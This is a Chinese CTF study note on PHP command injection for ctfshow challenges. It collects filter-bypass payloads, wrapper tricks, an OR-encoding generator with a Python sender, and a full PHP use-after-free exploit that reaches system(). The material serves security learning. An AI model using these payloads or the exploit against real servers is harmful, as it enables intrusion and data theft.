应用有时需要调用一些执行系统命令的函数,如PHP中的systemexecshell_execpassthrupopenproc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令 拼接到正常命令中,从而造成命令执行攻击。

PHP程序执行函数

1
2
3
4
5
6
7
8
9
10
11
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
escapeshellcmd — shell 元字符转义
exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出
proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码
proc_get_status — 获取由 proc_open 函数打开的进程的信息
proc_nice — 修改当前进程的优先级
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
proc_terminate — 杀除由 proc_open 打开的进程
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
system — 执行外部程序,并且显示输出

漏洞分类

  • 代码层过滤不严

    • 商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system("/bin/program –arg $arg");
  • 系统的漏洞造成命令注入

    • bash破壳漏洞(CVE-2014-6271)
  • 调用的第三方组件存在代码执行漏洞

    • 如WordPress中用来处理图片的ImageMagick组件
    • JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
    • ThinkPHP命令执行

利用条件

  • 应用调用执行系统命令的函数

  • 将用户输入作为系统命令函数的参数拼接到了命令行中

  • 没有对用户输入进行过滤或过滤不严

漏洞危害

  • 继承Web服务程序的权限去执行系统命令或读写文件

  • 反弹shell

  • 控制整个网站甚至控制服务器

  • 进一步内网渗透

管道符

windows管道符

|直接执行后面的语句。

||如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假

&两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假

&&如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真

linux管道符

;执行完前面的语句再执行后面的语句。

|显示后面语句的执行结果。

||当前面的语句执行出错时,执行后面的语句,前面的语句只能为假

&两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假

&&如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真

反引号(``)

注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符的效果与函数 shell_exec() 相同。

php短标签

<? php 可替换为 <?=

在PHP7以上不管short_open_tag配置是不是开启的。都可以使用。所以就相当于一个新的PHP文件,这样的话就需要将最开始前面的<?php给闭合,不然不会执行。

所以就需要构造?><?=ls;

传参逃逸

1=后出现的命令可以不受影响

1
?c=eval($_GET[1]);&1=system('ls')

image-20210913205727442

目录遍历

1
c=var_dump(scandir('/'));

php函数读取系统文件

函数 是否需要echo
file_get_content() 需要
readfile()
highlight_file() 不需要
show_source() 不需要
include() 不需要,需要echo变量

include包含,echo输出

c=include('flag.php');echo $flag.php;

当不知道变量名称,包含后输出所有变量名称

c=include('flag.php');var_dump(get_defined_vars());

写shell到文件日志文件中,读取日志文件拿shell

image-20210913211117029

绕过open_basedir

open_basedir 将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

glob://伪协议绕过open_basedir

1
2
3
4
5
6
7
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

需要url编码

uaf脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

需要通过url编码

当上面脚本strlen()被禁用的时候,自己写一个函数替代

strlen() 返回指定字符串的长度

替换思路:把字符串转换成数组,读取数组长度

1
2
3
4
<?php
function strlen_user($s){
return count(str_split($s));
}

报了内存溢出错误,换一种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function strlen_user($a){
$n = 0;
for($i = 0; $i <= INF;$i++){
if($a[$i]!==''){
$n++;
}else{
break;
}
}
return $n;
}
echo strlen_user('flagc.txt');
?>

PDO连接

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

需要知道数据库名称,用户名,密码

FFI

1
2
3
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

php7.4以上才有

已定义变量+数组操作

get_defined_vars()返回所有已定义变量所组成的数组

数组操作

end():数组指针指向最后一位

next(): 数组指针指向下一位

array_reverse(): 将数组颠倒

array_rand(): 随机返回数组的键名

array_flip():交换数组的键和值

array_pop():删除数组最后一个值并且弹出

空格绕过

url编码

%0a换行执行

%09代替 TAB键(php可用)

${IFS} 用在shell中

${PS2} 对应字符 >
${PS4} 对应字符 +
${IFS} 对应 内部字段分隔符 同$IFS
${9} 对应 空字符串

nl带行号读

nl<fl""ag.php|| 后续不能用?*通配符

黑名单绕过

glob通配符绕过

?代表1个字符

*代表0个及以上任意字符

通配之后无法确定命令,可用绝对路径

?c=/bin/?at${IFS}f???????

单引号、双引号

1
2
3
4
c""at flag
c""at fl""ag
c""at fl''ag
echo `nl fl""ag.php`;

反斜线

1
c\at fl\ag

$拼接

1
2
3
4
执行ls命令:
a=l;b=s;$a$b
cat hello文件内容:
a=c;b=at;c=he;d=llo;$a$b ${c}${d}

无参数绕过-没有过滤分号;和括号(

货币提取.扫描文件

过滤代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}

if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

过滤了data://,filter://,php://,phar://且忽略大小写,过滤了伪协议。

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

(?R)表示引用当前表达式,后面加了?表示递归。将匹配到的内容替换为空判断是否等于;等于再进入下一步判断。

if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

扫描当前目录

1
payload=print_r(scandir(pos(localeconv())));

localeconv()函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

pos()current()一样,返回数组中的当前值,初始化时会指向该数组中的第一个值。

scandir()列出指定路径中的文件和目录,scandir('.')扫描当前目录。

假设当前目录数组是这样的Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

1
highlight_file(next(array_reverse(scandir(pos(localeconv())))));

array_reverse()反转数组后next()指针向下一位

1
show_source(array_rand(array_flip(scandir(pos(localeconv())))));

array_flip()交换键和值,array_rand()随机返回键名

1
show_source(session_id(session_start()));

session_start()启动新会话或者重用现有会话

session_id()可以用来获取/设置 当前会话 ID

更改Cookie: PHPSESSID=flag.php;

session绕过

1
?c=session_start();system(session_id());

image-20210912135728066

image-20210912135933297

传参逃逸+伪协议绕过-bypass分号;和括号(

注意 eval内如果要RCE必须以分号结尾,但是php最后一条语句可以没有分号。

eval("echo 1;");eval("echo 1?>");结果相同

同时过滤了分号和括号,只能使用语言结构了,常见的语言结构:echo,print,isset,unset,include,require

1
?c=$a=include$_GET["b"]?>&b=php://filter/read=convert.base64-encode/resource=flag.php

image-20210911201022698

1
?c=?><?=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
1
?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

php伪协议

data://text/plain,

数据流封装器,当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

php 版本大于等于 php5.2

1
c=data://text/plain,<?php system("ipconfig") ?>

两个斜杠可以省略

无数字,字母,$命令执行

取反获取数字

1
2
3
4
5
6
7
8
9
10
11
[root@localhost ~]# echo $(())
0
[root@localhost ~]# echo ~$(())
~0
[root@localhost ~]# echo $((~$(())))
-1
#######################################################
$((~$(())))往中间每加一个$((~$(())))都加以1,先减后取反
#######################################################
[root@localhost ~]# echo $((~$(($((~$(())))+$((~$(())))))))
1

或运算绕过

$、+、-、^、~使得异或自增和取反构造字符都无法使用,过滤了字母和数字但是没有过滤运算符|

ctfshow web入门 web41

rce_or.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

php或运算.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("D:\phpstudy_pro\Extensions\php\php8.0.2nts\php.exe rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

image-20210912154142359

POST上传条件竞争 没有过滤.

发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母

使用通配符/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

因为我们上传重名的文件存在大写,即构造匹配最后一位大写字母,即可过滤linux文件中全部小写的文件。在ascii码表中,可见大写字母位于@[之间

.%20/*/????????[@-[]

创建test.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://9a634e82-0c97-423d-b9ff-ca0e27b3ad8d.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

image-20210913193458716

image-20210913193254558

添加需要执行的命令

1
2
#! /bin/sh
ls

image-20210913193303877

注意

不显示返回结果

\>/dev/null 2>&1绕过

ls;lsls||ls 双写绕过,把第二个命令写入到/dev/null中去。

?c=tac flag.php%26%26ls &&需要用url编码。

?c=nl flag.php%0a %0a截断

中断缓冲区

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);

include('/flag.txt');exit(0);exit();exit;

常用命令

tac 从最后一行开始显示,可以看出 tac 是 cat 的反向显示